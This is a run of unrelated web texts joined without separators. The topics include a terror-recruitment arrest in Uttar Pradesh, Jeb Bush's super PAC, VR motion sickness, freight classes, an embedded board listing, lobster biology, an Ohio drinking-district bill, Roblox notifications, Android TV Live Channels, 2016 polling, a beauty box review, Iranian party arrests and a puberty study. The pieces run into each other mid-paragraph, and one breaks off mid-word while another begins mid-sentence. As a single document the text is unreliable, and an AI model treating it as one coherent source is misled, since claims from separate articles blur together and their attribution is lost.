A Bangladesh national, who investigators say was recruiting young men for terror activities and providing them with logistical support, was arrested today from Muzaffarnagar in western Uttar Pradesh. The man, identified as Abdullah, is suspected to be linked to the Ansarullah Bangla Team -- a Bangladesh-based extremist group inspired by the Al Qaeda.Sources in the Anti-Terror Squad, which made the arrest in a joint operation with the state police, said Abdullah had been living in Uttar Pradesh since 2011. Initially, he lived in Deoband, but moved to Muzaffarnagar's Kutesara area last month.Abdullah was involved in terror recruitment, said the officials. He was also providing fake identity cards and safe hideouts for Bangladeshi terror recruits in India. During the search at his house, the officials recovered fake Aadhar, passport, 13 other fake identity cards, documents with instructions on bomb-making and jihadi literature.Senior state police officer Anand Kumar said during questioning, Abdullah spoke of a man, Faizan, who was apparently the ringleader. But the man, who was living in Deoband, managed to escape before the investigators could get to him. The police recovered "illegal things" from his hideout and four others are being interrogated in the case, the officer said.Bangladesh has been witnessing an increasing number of terror attacks over the last four years.The worst of these was the attack on a cafe at an upscale locality in Bangladesh capital Dhaka in July last year. Twenty-nine people were killed in the attack, conducted by five terrorists linked to Jamaat-ul-Mujahideen, Bangladesh government had said. The Ansarullah Bangla Team had been accused of a series of attacks on secular writers and bloggers. In 2015, the group had published a hit-list of international bloggers and activists. Nine of the people named were UK nationals and two were from the US.Photo
MIAMI BEACH — Jeb Bush told donors here that he believed his political action committee had raised more money in 100 days than any other modern Republican political operation, according to those who heard him.
The remark suggests that the so-called shock and awe financial effort underway by his team is meeting or exceeding its internal goals and will represent a formidable threat to his Republican rivals in the 2016 presidential contest. He offered no specific figure.
While Mr. Bush’s aides have done their utmost to tamp down expectations, the figure is expected to be in the high tens of millions of dollars. The figure does not comprise “hard dollars” – the type of capped donations he’ll raise in maximum $2700 chunks once he declares in the next two months – but his team has privately signaled plans to use the super PAC differently than it has typically been used
Mr. Bush’s claim was without some significant historical context, however – the money he’s raising is primarily for his super PAC, which can collect unlimited donation. Such entities were created following the Citizens United campaign finance ruling in early 2010 – meaning they’ve only been a feature of a single presidential cycle before this one.
Unlike Ted Cruz, the Republican Senator from Texas who had four different families contribute to super PACs that will help him, Mr. Bush has gone about the fund-raising for the Right to Rise super PAC in a traditional fashion. He’s held a staggering number of fund-raising events since the beginning of the year.
Mr. Bush’s financial edge is somewhat less significant in an era in which people like Mr. Cruz and Senator Marco Rubio of Florida are able to raise substantial sums from single donors. But, even if the money does not guarantee that Mr. Bush will be the nominee, it will give him enough to last through a protracted nomination fight.
Mr. Bush also another, if temporary, advantage over the senators who are running – he is still able to raise funds for and direct the spending of his super PAC. The senators face restrictions on such activities. And it’s an edge that he will keep until he is a declared candidate – part of his incentive for staving off an official announcement for as long as possible.Virtual reality's teething problems of users experiencing motion sickness and eyestrain could soon be eliminated with new motion sensing technology, according to Valve's managing director Gabe Newell.
While the rising interest of Oculus Rift, and mobile-centric variants such as Gear VR, has triggered a craze of investment in virtual reality, some consumers believe the technology is uncomfortable on the eyes.
John Carmack, the chief technology officer at Oculus Rift, said during a keynote at the Games Developers Conference on Wednesday that motion sickness was one of his biggest fears with the technology.
“People like the demo, they take it home, and they start throwing up,” he told a gathering of developers.
“The fear is if a really bad VR product comes out, it could send the industry back to the ’90s,” he said.
“The fear is if a really bad VR product comes out, it could send the industry back to the ’90s” John Carmack, Oculus VR
Meanwhile, in an interview with the New York Times, Newell described some VR technologies as the “world’s best motion sickness inducers."
However, the widely respected games entrepreneur claims that a key new technology developed at Valve could effectively eliminate problems with motion sickness.
A newly announced motion tracking technology, which Valve says it will distribute freely to hardware partners, is said to use lasers which can read the position of a VR helmet and reproduce a person’s real-world movements with exceptional accuracy. The tech, called Lighthouse, is believed to be crucial in eliminating motion sickness.
He claimed that “zero percent of people get motion sick” when they try Valve's system.
On Sunday, the smartphone and electronics group HTC revealed Vive, an all-new virtual reality device built in collaboration with Valve.
The device has a 1,200 by 1,800 pixel screen in front of each eye with refresh rates of 90 frames per second. HTC claims it eliminates the jitter common in other VR headsets.
Meanwhile, Valve has made a series of announcements during GDC, including Source Engine 2 and its PC-to-living-room streaming tech, known as Steam Link.Written By: Steve Daniels, Account Executive at BlueGrace Logistics – 855.878.2556
One of the most common complaints our LTL Account Executives hear is that our competitors repeatedly send them invoices for shipments that are double the amount of their original LTL freight quotes. When we start doing deeper research into their invoices through our free cost analysis we often find that our competitors are using the old bait and switch to get them to accept a LTL rate that is unbelievably low, only to come back after the shipment has been delivered and add on reclass fees to the final invoice.
It’s unfortunately one of the many shady tactics other logistics companies will use to gain your company’s business. BlueGrace has a zero tolerance for this practice, and we’ve developed technology and tools to help you prevent these unexpected fees. Our experts have put together a brief lesson below on the freight class system used by most LTL carriers and how using this system will help you avoid reclass fees when quoting and booking LTL freight shipments.
The Freight Class System
Almost all LTL freight carriers use the National Motor Freight Classification (NMFC) system to design their pricing structures for transporting LTL freight shipments. There are a total of 18 NMFC freight classes ranging from class 50, up to class 500. Shipments classed at class 50 would be the least expensive to ship, while shipments at class 500 would be the most expensive. This is where other logistics companies will try and take advantage of you. They’ll often give you a rate for a shipment at a lower freight class than the actual class of your shipment to give you the impression they’ve giving you a good rate, but once your shipment is in transit and gets inspected by a carrier you’ll receive an invoice after delivery with additional fees resulting from the reclass and inspection of your shipment.
Reclass fees can have a huge impact on your company’s profitability.
Does your company charge your customers for shipping based off your LTL quotes? Imagine that you’ve broken even on shipping a product to a customer, on the sale of the item you’re making $50, but you’ve just received a freight invoice that is $100 over the original LTL freight quote you were provided by your logistics company. You can’t go back to your customer and ruin that relationship so you have to absorb the cost of that reclass fee, now instead of making $50, you’ve lost $50.
To avoid this we recommend determining the freight class of your shipments yourself and utilizing our BlueGrace Freight Class Density Calculator to make the job easier. While some items such as automobile engines and flooring might have standard freight classes that don’t change, there’s thousands of other commodities that have their freight classes determined by the density of the shipment.
BlueGrace Freight Class Density Calculator
In the below screenshot you can see for yourself how simple using this system is to obtain your own freight classes! Using our Freight Class Density Calculator you would simply type in the dimensions of the pallet (length x width x height) and input the total weight to have our system provide you with an accurate freight class.
You would then take this freight class and input this into our Blueship system to obtain quotes, book your shipment and retrieve your BOL all on your own and within just a few minutes without having to put your faith and company’s profitability in the hands of another logistics’s company Account Executive. Not only will this save you time on quoting and booking shipments, but it’ll give you extra peace of mind knowing that you aren’t being taken advantage of.
If you’re ever in doubt about the correct freight class for a shipment don’t hesitate to reach out to our BlueGrace Team directly at 800.MY.SHIPPING or via Live Chat!MYIR is a NXP Approved Engineering Consultants Partner, welcome to use MYIR's NXP series products!
We also offer custom design services, welcome your inquiry!
https://www.nxp.com/webapp/connect/displayPartnerProfile.sp?partnerId=12220
Measuring only 70mm by 55mm, the MYS-6ULX is a high-performance low-cost Single Board Computer specially designed for Industry 4.0 (Industrie 4.0) and Internet of Things (IoT) applications. It is based on NXP’s i.MX 6UltraLite / 6ULL processor family which features the most efficient ARM Cortex-A7 core and can operate at 528 MHz. It has two 2.0mm pitch 2x20-pin headers on board to allow extension of the controller signals and ports to the base board through headers and connectors, thus exposing more features of the i.MX 6UL / 6ULL ARM Cortex-A7 Processors, so it can also be used as a System-on-Module (SoM) for your next embedded design.
The MYS-6ULX has two variants of boards which are called MYS-6ULX-IND and MYS-6ULX-IOT to meet different applications. The MYS-6ULX-IND is targeting industry 4.0 applications and based on i.MX6UL series processors while the MYS-6ULX-IOT is oriented for IoT applications and using i.MX6ULL series processors. They share the same hardware circuit design and fully compatible in software but also have their own characteristics. The MYS-6ULX-IOT has additionally a USB based WiFi module with antenna on the board. The MYS-6ULX-IND can support -40 to +85 Celsius extended temperature operation, which makes the board more suitable for industrial control and communication applications. MYIR has ported Linux 4.1.15 for the board withDebian distribution as well as Yocto project with ported QT. MYIR has also provided an interesting demo to enable customers to experience Amazon Alexa Voice Service.
MYS-6ULX-IND
MYS-6 |
prey for sea birds, fish and other enemies. Less than 0.1% of the larvae will survive, settle to the bottom and develop as baby lobsters. Like dolphins, lobsters use complicated signals to establish social relationships. They sometimes walk hand-in-hand, the old leading the young.
Lobsters usually hunt for food at night. They eat fish, crabs, clams, snails, sea stars, mussels and sea urchins. By nature, lobsters are not cannibalistic, except when held in crowded conditions. Lobsters chew their food in their stomach, which is very close to their mouth, between three grinding surfaces that look like molar teeth called the "gastric mill". To escape from enemies, lobsters swim backwards by flipping their tail. The lobster's body has 19 parts, each covered by a section of the shell. The shell is thin and soft where the parts join, so lobsters can bend their body and move about. Lobsters breathe through gills located beneath the shell on both sides of their thorax (center part).
Lobsters eyes are compound eyes, consisting of hundreds of lenses joined together on the ends of pair of jointed organs called stalks. The four small antennae on the front of their heads are used to "smell" their food or chemicals in the water. The tiny sensory hairs along their legs are used to "taste" their food. Lobsters keep their antennae and eye stalks moving constantly to search for food and to watch for enemies. True lobsters have two very powerful claws. One claw is sharp and used for cutting, the other is bony and used for crushing. Lobsters that have their heavy ("crusher") claw on the right are considered "right-handed" and the others are "left-handed". Some lobsters are ambidextrous, they usually favor the claw that is the largest.Published: Tuesday, December 02, 2014 @ 2:28 PM
Updated: Tuesday, December 02, 2014 @ 2:28 PM
— Fifteen cities and townships in the Miami Valley would be eligible to create outdoor drinking areas where partiers could carry open alcoholic beverages, if an Ohio Senate bill becomes state law.
State senators voted 31-0 on Tuesday on a bill that would allow cities or townships of 35,000 or more people to create “outdoor refreshment areas” where adults could buy beer, wine and other drinks from establishments with liquor licenses and then wander outdoors while enjoying their beverages within the designated district.
This could impact areas such as the Oregon District in Dayton, Austin Landing and Voice of America Centre.
The local cities that could be impacted by the bill are Dayton, Hamilton, Springfield, Kettering, Middletown, Beavercreek, Fairfield and Huber Heights. Townships impacted would be West Chester, Washington, Beavercreek, Miami, Bath, Liberty and Deerfield.
Dayton Mayor Nan Whaley said she supports the legislation and believes it will benefit the state’s urban areas.
She said the legislation creates an opportunity for Dayton to establish an open-container area. However, she said she has no idea whether that will happen and where that area might be located.
“I wasn’t thinking about any specific area, but it will provide more flexibility so we can have events in the downtown area that are public spaces,” she said. “I am not going to declare that because the bill passed we’ll have a space, but it’s an opportunity.”
Whaley said the current rules on outdoor drinking areas are extremely strict about fencing.
Springfield Mayor Warren Copeland hadn’t heard about the bill until after it passed on Tuesday afternoon, but said he’d be willing to look into creating an entertainment district, especially if it could lead to business development.
Hamilton Mayor Pat Moeller said that he likes the idea.
“If it could be something you could run on maybe weekends or special evenings during the week, I’d probably feel more comfortable about it than it being pretty much all day every day,” he said “I’d like to work on the specifics a little bit to see what would truly fit Hamilton.”
State Sen. Eric Kearney, D-Cincinnati, sponsored the bill and says it would attract more people to entertainment districts such as Cleveland’s Flats and Cincinnati’s The Banks, and would boost local economies.
“Ohio will be able to create new and exciting means of economic development, much like those found in Memphis or Louisville or New Orleans,” Kearney said.
It is unclear which large cities and townships in Ohio might want to create such drinking districts and what sort of local opposition they might face. When the bill was introduced last year, Oregon District residents and Dayton police officials expressed concern over the idea.
The districts could only be created in areas with at least four liquor permit holders. The city or township that creates an entertainment district would be required to review it every five years and would be authorized to pull the plug on it too.
The bill also calls for allowing more districts in larger cities: up to three for cities or townships with 275,001 or more people; up to two for areas with 150,001 to 275,000 residents; and no more than one in smaller areas.
West Chester Twp. Trustee President George Lang said he was slightly disappointed that West Chester, Ohio’s largest township with more than 60,000 residents, would not get to have more than one entertainment district allowing open alcohol containers.
“There’s more than one area where this may make sense for West Chester, but I’m all for anything that can help increase capitalism, if you will, increase business and increase profits for the companies of West Chester,” Lang said. “I see this as a home run, not just for West Chester, but a whole lot of other communities, as well.”
Among the sites Lang mentions are Voice of America Centre and Streets of West Chester shopping centers just off Interstate 75.
The bill also tosses in $500,000 in state money for TourismOhio to support the 2015 Major League Baseball All-Start Game in Cincinnati.
Ohio Senate President Keith Faber, R-Celina, said he would like to eventually return control over Open Container laws to local governments.
Reporters Cornelius Frolik, Eric Schwartzberg and Michael Cooper contributed to this story.Push notifications are a great way to stay in touch with everything that’s happening on Roblox even when you’re away, but getting these instantaneous alerts on your mobile device is even better. That’s why we’ve updated our mobile app to bring you push notifications on-the-go! This feature has already rolled out on iOS and Android platforms (support for Windows 10 Mobile and Amazon Kindle/Fire devices is coming soon), so check it out and start getting notified today!
Mobile push notifications keep you in the loop about certain events as soon as they happen, like getting a new chat message or a friend request, even when you’re not using the Roblox app. Just like our desktop push notifications feature, you can choose to opt-in or opt-out of this service at any time or select which specific notifications are important to you.
What kinds of mobile push notifications are available?
Here’s a breakdown of some of the push notifications that are (or will be) available on mobile. Of course, we’ll be adding more and more push notifications that aren’t already on this list in due time, so stay tuned – this is just the beginning!
iOS
You will receive an alert on your device whenever…
…you receive a new chat message
…someone accepts your friend request
…you receive a new friend request
…you receive a new private message (coming soon)
Android
You will receive an alert on your device whenever…
…someone accepts your friend request
…you receive a new friend request
…you receive a new chat message
…you receive a new private message (coming soon)
How do you turn on mobile push notifications?
Mobile push notifications are only available for users over 13 in order to keep us in compliance with the Children’s Online Privacy Protection Act of 1998 (COPPA). If you’re under 13 years of age, you will not be able to receive push notifications at this time, but stay tuned – we’re working on a way to provide you with notifications as well!
Follow these steps to configure your push notification settings on mobile:
In the Roblox app, go to the Privacy tab in your Settings You can turn push notifications on or off in the “Mobile Push” section, or specify which notification types you want to see. Don’t forget to save!
Last but not least, here’s one more thing to keep in mind. Android devices will have push notifications enabled by default, but iOS users will need to opt-in to the feature. For example, if you’re using an iOS device and you send a chat message, we’ll ask if you want to know when they reply.
We hope you enjoy this new feature for mobile! If you haven’t downloaded Roblox on mobile yet, you can grab it for free today and play cross-platform with your friends on PC/Mac and other mobile devices! It’s available now on the iOS and Google Play App Stores.Running List of Live Channel Sources
Introduction
Dialogue when a new app installs Live Channels Sources Menu Live Channels Guide
Live Channels is an exciting app that we have mentioned many times here at Android TV News. For those who have never heard of it before, it is a system app by Google that attempts to compile all of your live video sources into one traditional, channel-surfing interface. Smart TVs and content on demand are obviously the future of television, but “flipping through the channels to see what’s on” is still a core experience.
The potential of being able to browse through your local OTA stations, favorite Twitch channels, Internet TV, and live Periscope seamlessly would be a perfect use case for Smart TV. Now this isn’t quite possible yet, but it is a simple and powerful idea just waiting to be unleashed. Developers need to “hook” their app up to Live Channels in order for this to take off.
Once people find out about Live Channels, the first thing they ask is, “Where is it?” If you search for it on the Google Play Store, you will see that it is already installed on your Android TV. It only appears on the Leanback Launcher once a proper source has been added. Therefore, the next question asked is, “What sources can I can get?” and that is the purpose of this article!
OTA Channels
With Live Channels version 1.11 and Android 7.0, Android TV now supports OTA antennas using certain USB tuners. These allow you to view and record broadcast channels.
The List
HDHomeRun VIEW
This app requires you to have an HDHomeRun network tuner (see here) to be functional. But once you do, this gives you the ability to watch OTA or CableCard channels in the Live Channels app. Besides being nice to have your sources together, Live Channels just looks and works better than the VIEW app (my opinion). The app is $0.99 on the Google Play Store.
Pluto TV
One of the first apps to support Live Channels, and still one of the best. Pluto TV launched last year as an internet video curator of sorts. They created “channels” based on certain subjects, and then fill these channels with videos from all around the internet (YouTube, Daily Motion, Vimeo). They even have deals with other internet video providers like Bloomberg TV and Funny or Die for more “channels.” There really are too many to list so go check it out! Added bonus: You can add/remove only the channels you want from Pluto TV in Live Channels! This app is FREE on the Google Play Store.
Cumulus TV
By our very own Nick Felker, this app was developed at the request of some Reddit users. Users can import any web live stream to the app manually or in bulk through a playlist. These streams can then be watched through the Live Channels app. By connecting the app to a file in Google Drive, you can keep all your channels in sync. If you don’t have any streams, a few legal streams are included in the app. The app is also open sourced on GitHub. It is FREE on the Google Play Store.
The Weather Network
The Weather Network appears to have gone all in on Android TV. They have a pretty nice app that follows Android TV design guidelines and they also have a “recommendation card” on the home page that displays the current weather. This is the only app I know of that has utilized the recommendation bar in this manner. They also have Live Channel support. The stream seems to jump from national forecasts, to local forecasts, to top weather videos and around again… your standard weather channel. The app is FREE on the Google Play Store.
ToonAft
Read Article: Toonaft Brings Live Channels to Android TV
ToonAft is an app that hooks into the Toonami Aftermath website that streams old cartoons 24/7. This app allows you to bring that functionality to the Live Channels app. Also included is a Rifftrax channel which is just old movies or shorts with the Mystery Science Theater 3000 commentary track added… very funny! The app has been removed from Google Play, but you can sideload the APK here. However, the app doesn’t appear to be streaming media anymore.
Google Play Movies and TV
Read Article: Google Play Movies and TV Gets Live Channel for Trailers
This channel appears to showcase a number of trailers from Google’s most popular movies. Opening up the UI shows users a button that they can press to immediately go to Google Play and rent the movie. It’s a pretty clever way to showcase content.
Bloomberg TV
Read Article: Bloomberg Adds Live Channel
Bloomberg, the financial news media outlet, has made their West US channel available to cordcutters by adding it to Live Channels. The channel includes commercials. It also includes closed captioning so anyone can learn about the latest business news.
Haystack TV
Read Article: Haystack TV Adds Live Channels
Haystack TV personalizes news by curating videos based on your preferences. With Live Channels, you can use one of their prebuilt channels for science or political news or watch a stream of personalized news.
InstaTV
Looking for a different app that interfaces with HDHomeRun? Try InstaTV. It lets you connect to your HDHomeRun from your phone, tablet, and TV. The app is free to download from Google Play.
AirShare
Read Article: AirShare tries to make Sharing to Your TV Easy
AirShare is an app that lets you quickly share any type of content, not just media, to your TV. When you do cast media though, it collects all of it and displays it back to you later in three Live Channels for music, photos, and video. Additionally, sharing any HLS stream will also add that as a channel. The app is free to download on Google Play.
PuppetMaster.TV
Read Article: PuppetMaster.TV Adds Support for Live Channels
PuppetMaster.TV is an app that, similar to Kodi, allows users to install video sources from a variety of online sources in a single interface. In addition to using Android TV’s built-in Leanback interface, there is also support for Live Channels. Puppets, their name for plugins, may have live sources and if so are available in the Live Channels app.
TVHeadEnd
Read Article: TvHeadend Adds Live Channels Support With This App
TvHeadend, “a TV streaming server and recorder for Linux, FreeBSD and Android”, is a way for you to stream various video sources to this software and then to your other devices, such as Android TV.
Future Apps?
The following apps are either currently in development for Live Channels or there is speculation that they are.
DVBLink Live!
DVBLink is like the “Live Channels” of your computer. It gives you the ability to start “your very personal TV server” using different sources. The DVBLink Live app has been in development for Android TV, designed to integrate with the Live Channels feature. When completed, it will supply channels, epg (electronic program guide), and TV streams to Live Channels so you can watch them with the rest of your channel sources. You can find more info HERE but you can sideload the beta and try it out today!
Tablo TV
Tablo TV is a competitor of HDHomeRun that already has its DVR functionality up and running. They have a great app and interface and I have heard nothing but great things from this company (I plan on reviewing their product very soon). Official Tablo TV reps have confirmed that Live Channels integration is on their roadmap. They have never given an ETA which is fine but have stated in multiple threads that it is in development (also HERE). The rep said that they were working on utilizing the Recommendation Bar and Universal Search Index of Android TV, too. Interestingly enough, the representative also seemed to confirm that they were working on getting the DVR to function WITHIN Live Channels…
Sling TV
Sling TV is a streaming cable package available for Android TV. The first time I found out about Live Channels, I immediately thought of Sling TV. To be able to have streaming cable channels next to my OTA stations next to my IPTV would be a dream come true.
Now, this entry is purely speculative as there has been no confirmation of Live Channels development with Sling TV. However, when I asked Roger Lynch, CEO of Sling TV, if there were any plans to bring Live Channel integration, he answered, “As it relates to the “Live Channels” app on Android TV, we are looking into this. At the moment, I can’t comment any further, but stay tuned.” This very well could be a PR non-answer. But if you read the article, Roger doesn’t seem to have a problem saying, “We have no current plans” to some of my other questions. This leads me to believe that they really are working on! Only time will tell…
Conclusion
This is the list as it currently stands and I plan to update it as time moves on. It really wasn’t too long ago that there were only 1 or 2 apps that made use of Live Channels so it is expanding quite nicely. I wish Google would make a bigger deal about this neat application and push it as much as they can, but that is also what this community is for. If we can build up enough awareness of Live Channels and show enough demand, we can really help get the ball rolling. Please let us know if there are any new apps that we might have missed!
Brian Stein Brian Stein is a Science Teacher with a love of technology. When he is not molding young minds, he is looking out for the latest and greatest gadgets. Devices: Moto X, G Watch, Nexus 7, Chromebook, Custom Plex Server More Posts Follow Me:It’s early, but we already have a rough sense of some of the big-picture contrasts that will drive the next presidential election.
This is an incomplete list, but Hillary Clinton will support international engagement and government action to combat climate change; an immigration reform compromise that exchanges more border security for some kind of path to legalization for the 11 million; a deal with Iran curbing its nuclear program (if one is reached); and a continuation of the movement towards universal health care set in motion by the Affordable Care Act (whatever its fate at the Supreme Court).
By contrast, by the time the eventual GOP nominee is chosen, he will probably have come out against any global climate treaty and at best hedged on domestic climate action; he will have cast serious doubt on whether he can support a real plan for legalization; he will have promised to undo any Iran nuke deal; and he will have vowed to continue the crusade for Obamacare repeal until he draws his very last breath.
Some new polling from the Washington Post and ABC News helps illustrate why this contrast will likely take shape — and what it could mean for the next election.
The poll finds that on all of those issues, Republican and conservative voters are on one side, while majorities or pluralities of Americans — including independents and moderates — are on the other:
* Climate change: 59 percent of Americans say they want the next president to favor government action to address climate change, versus 31 percent who oppose such action. Independents favor action by 61-32, and moderates favor action by 68-23.
By contrast, Republicans tilt against government action by 55-32, and conservatives tilt against it by 55-35.
* Iran: Americans want the next president to favor a negotiated agreement with Iran, rather than oppose it, by 49-42. Independents agree by 51-40, and moderates agree by 55-37.
By contrast, Republicans favor someone who opposes agreement with Iran by 60-31, as do conservatives, by 62-32.
* Immigration: Americans want the next president to support a path to citizenship, as opposed to being against it, by 51-45. Independents agree by 52-44, and moderates agree by 53-42.
By contrast, Republicans favor someone who opposes a path to citizenship by 70-24, as do conservatives, by 65-31.
* Obamacare: This one isn’t as clear cut, but it’s still instructive. Most polls show the law is still unpopular. But introduce repeal, and the picture changes. In our poll, Americans want the next president to keep the law, by a statistically insignificant 49-45. Independents agree by 49-45, and moderates agree by a more comfortable 52-42.
By contrast, Republicans want a candidate who will repeal the law by 82-12, and conservatives want the same by 69-28.
Here’s another interesting thing about the polling: The groups in the new Democratic coalition that is powering wins in national elections — minorities, millennials, college educated whites — are firmly on one side of this divide. Majorities of all those groups — in some cases large ones — want the next president to back government action on climate; a path to citizenship; a negotiated settlement with Iran; and keeping Obamacare. Thus, the Democratic Party will keep shaping its agenda around the priorities of these core voter groups.
By contrast, majorities of some core Republican voter groups — non-college whites, older voters, whites overall — want a president who would repeal Obamacare and oppose a path to citizenship. Interestingly, even these voter groups are more mixed on an Iran deal and on climate action. But given that both are associated with Obama, the GOP candidates will have to oppose them.
None of this is to say that Clinton has a built-in advantage going into 2016. It’s hard to say how much these issues — particularly climate and immigration — will motivate voters, if at all. Winning a third presidential term for the same party has historically proven difficult. The economy will play a major role. Etc.
But still, you have to wonder whether it could have some kind of impact if the GOP nominee gets locked into positions on the wrong side of public opinion on many major issues. Perhaps it could help shape general impressions as to which party is more mainstream and forward-looking when it comes to some of the bigger challenges facing the country.Hey Everyone♥,
I know I am very very late to show you the products which I got in My Envy Box last month. But today I am reviewing My Envy Box October. In last month I have got the box on the same date. That’s why today the review. Let’s check which products I got.
The My Envy Box October was their Anniversary Box & also curated by Vogue for the #VogueEmpower campaign to empower women rights. The Anniversary Box has a festive detailing of Gold color with Red Colored logo.
Price – INR 850 for one month
Clinique Moisture Surge Extended Thirst Relief: It is hands down one of the best moisturizers for dry skin. I am already fan of Clinique Skin Care Range. Super excited to try this. Perfect for winter. MRP – INR 3550 for 50 ml.
Clinique Take The Day Off Makeup Remover: This year it has won the Best Makeup Remover Title in Vogue Beauty Awards. I am so happy to get an average size example of this makeup remover. MRP – INR 1950 for 125 ml.
Estee Lauder No. 1 Serum Advanced Night Repair: It is one of the bestselling products from Estee. I am already using the cream from this range Reviewed Here. So pretty excited to try the Serum as well. With the tiny replica of bottle they had given a card too. MRP – INR 5200 for 30 ml.
Skinyoga Sandalwood Saffron Face Mask: I would be trying the SkinYoga products for the first time. I have heard quite a lot good things about them. They are all organic. Don’t you think the packaging is super cute. MRP – INR 1395 for 50gm
Sebastian Professional Potion 9: I have always adored the Sebastian Range for Hair Care. I am pretty much sure this would be no different. MRP – INR 1450 for 150 ml.
Innisfree Green Tea Sheet Mask: A sheet mask from the house of the famous Korean brand. It claims to add vitality & energy to the skin. A Single sheet is priced at INR 100. The box has full size. Excited to try it.
Tatouage Ephemere Temporary Tattoo: I got a pretty Parisian tattoo designed by Annelise Toraille. I might use it on my wrist.
Apart from the above I have also received a complimentary Estee Lauder Card & L’Occitane Spa Gift Card worth INR 1000!
Overall I am pretty pleased with My Envy Box October. I wish them a belated Happy Anniversary. Good job done by Envy Box & Vogue 🙂
♥Thanks for visiting. Share the Love♥Iranian police have arrested 132 men and women, some of them alleged bisexuals, a judiciary website said Friday, in the latest crackdown on partygoers accused of breaking Islamic rules.
On Thursday night police in Tehran arrested “more than 70 drunk men and women at a restaurant in Farahzad,” on the capital’s northwestern outskirts, Mizan Online reported.
The news agency later quoted police as saying there were 40 men and 30 women, including 26 men and six women who tested positive for alcohol.
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“Six bisexuals were identified among those arrested,” it said.
Drinking alcohol and dancing with the opposite sex are forbidden in the Islamic republic.
In addition, “62 men and women were arrested at another party in Bandar Abbas,” a southern port city, Mizan said without giving a date.
Last week, Iran arrested eight people accused of involvement in making “obscene” music videos.
It came days after more than 30 students partying at a graduation ceremony in northern Iran were arrested and given 99 lashes each for violating the country’s morality code.
On May 16, Iran also announced the arrest of eight people for working in “un-Islamic” online modeling networks, particularly on the photosharing app Instagram.
The crackdown comes despite moderate President Hassan Rouhani’s effort to allow greater social and cultural freedom.
Tehran police chief announced in April the recruitment of 7,000 plainclothes police in the capital to fight against “immorality”.
The officers are responsible for monitoring and reporting “noise, harassment of women and women’s lack of Islamic veil inside cars,” he said.- Hi there ))
It was a while since I've been here(
Basically, this drawing was supposed to be the last one for the past year but unfortunately I didn't manage to finish it in time so it became the first picture in this one.
I understand it's a bit too late now, and it might look like a top level insolence but... let's pretend that right now is the 31st December at about 8pm.
As a side note. How would you react if your sister got a plushie of... um... you for her New Year gift? XD
Personally, I think that such gift could be very original in fact X)
Really, I would've remembered that for a long time!
- And thanks to all who's supporting me at
I really appreciate your support))
- Всем привет))Давненько меня тут не было(По сути этот рисунок должен был быть последним в старом году, но к сожалению у меня не вышло закончить его в нужный срок,так что он стал первым в этом^^Я понимаю что сейчас уже поздновато и это было бы просто триумфом наглости с моей стороны но... давайте представим что сегодня 31декабря часиков так 20А вообще чисто из интереса - как бы вы отреагировали если бы ваша сестра в качестве новогоднего подарка получила бы плюшку... эм... васXDДумаю подобный подарок был бы очень оригинальнымX)Вот честно, я бы запомнил такоеX)_________________________________________________________________________________________________________Thank you to for translation)Girls in homes without a biological father are more likely to hit puberty at an earlier age, according to a new study led by researchers at the University of California, Berkeley's School of Public Health.
The findings, to be published Sept. 17 in the Journal of Adolescent Health, found that the absence of a biologically related father in the home predicted earlier breast and pubic hair development, but only for girls in higher income households. The findings held even after the girls' weight was taken into account.
"The age at which girls are reaching puberty has been trending downward in recent decades, but much of the attention has focused on increased body weight as the primary culprit," said study lead author Julianna Deardorff, UC Berkeley assistant professor of maternal and child health. "While overweight and obesity alter the timing of girls' puberty, those factors don't explain all of the variance in pubertal timing. The results from our study suggest that familial and contextual factors -- independent of body mass index -- have an important effect on girls' pubertal timing."
The findings came from the Cohort study of Young Girls' Nutrition, Environment and Transitions (CYGNET), an epidemiologic project headed by Lawrence Kushi, associate director of etiology and prevention research at the Kaiser Permanente Northern California Division of Research. The project is part of the UC San Francisco Bay Area Breast Cancer and the Environment Research Center (BCERC), one of four centers funded by the National Cancer Institute and the National Institute of Environmental Health Sciences. Early puberty has been linked to greater risk for breast and other reproductive cancers later in life, among other health impacts.
"Although the main focus of the CYGNET Study is on environmental exposures, we are also keenly interested in the social and behavioral contexts in which maturation occurs," said Kushi. "These findings demonstrate that such factors may play important roles in the onset of puberty in girls."
The link between father absence and earlier puberty in girls has been found in previous research, but most of those studies relied upon recall of the girls' first periods, and few examined the contributions of body mass index, ethnicity and income.
In this new study, researchers recruited 444 girls ages 6-8 through Kaiser Permanente Northern California, and have been following them annually. Their analysis was based on the first two years of follow-up. They considered signs of puberty that occur before the start of menarche. In interviews with the girls' caregivers, the researchers asked about the residents in the girls' homes and their relationships to the children.
Among the girls studied, 80 reported biological father absence at the time of recruitment. Contrary to what the researchers expected, the absence of a biologically related father was linked to earlier breast development for girls in higher income families -- those having annual household incomes of $50,000 or more. Father absence predicted earlier onset of pubic hair development only in higher income African Americans families.
The mechanisms behind these findings are not entirely clear, the study authors said. Evolutionary biologists have theorized that the absence of a biological father may signal an unstable family environment, leading girls to enter puberty earlier.
Another theory that has been posited is that girls without a biological father in the home are exposed more to unrelated adult males -- specifically, the pheromones of these males -- that lead to earlier onset of puberty. However, in this study, the presence of other adult males, including stepfathers, in the home did not alter the findings.
It is also unclear why father absence predicted early puberty only in higher income families, particularly for African American girls.
"It's possible that in lower income families, it is more normative to rely upon a strong network of alternative caregivers," said Deardorff. "A more controversial hypothesis is that higher income families without fathers are more likely to have a single mother who works long hours and is not as available for caregiving. Recent studies have suggested that weak maternal bonding is a risk factor for early puberty."
Another possibility is that higher income girls in father-absent homes may be exposed to more artificial light -- which has been shown to accelerate puberty in animal studies -- through television, computers and other forms of technology, according to the study authors. The researchers also suggested that higher income African American girls may be more exposed to certain beauty products, such as hair straighteners, which have estrogenic properties that could influence pubertal timing.
The study adds to the debate of why girls in the United States are entering puberty at an increasingly early age. Last month, a study of 1,200 girls led by BCERC researchers at Cincinnati Children's Hospital Medical Center found that about 15 percent of the girls showed the beginnings of breast development at age 7, an increase from similar studies conducted in the 1990s.
"The hunt for an explanation to this trend is significant since girls who enter puberty earlier than their peers are not only at greater risk for reproductive cancers, they are also more likely to develop asthma and engage in higher risk sexual behaviors and substance abuse, so these studies have broader relevance to women's health," said Bay Area BCERC's principal investigator Dr. Robert Hiatt, UCSF professor and co-chair of epidemiology and biostatistics, and director of population science at the campus's Helen Diller Family Comprehensive Cancer Center.
"In some ways, our study raises more questions than it answers," said Deardorff. "It's definitely harder for people to wrap their minds around this than around the influence of body weight. But these findings get us away from assuming that there is a simple, clear path to the earlier onset of puberty."
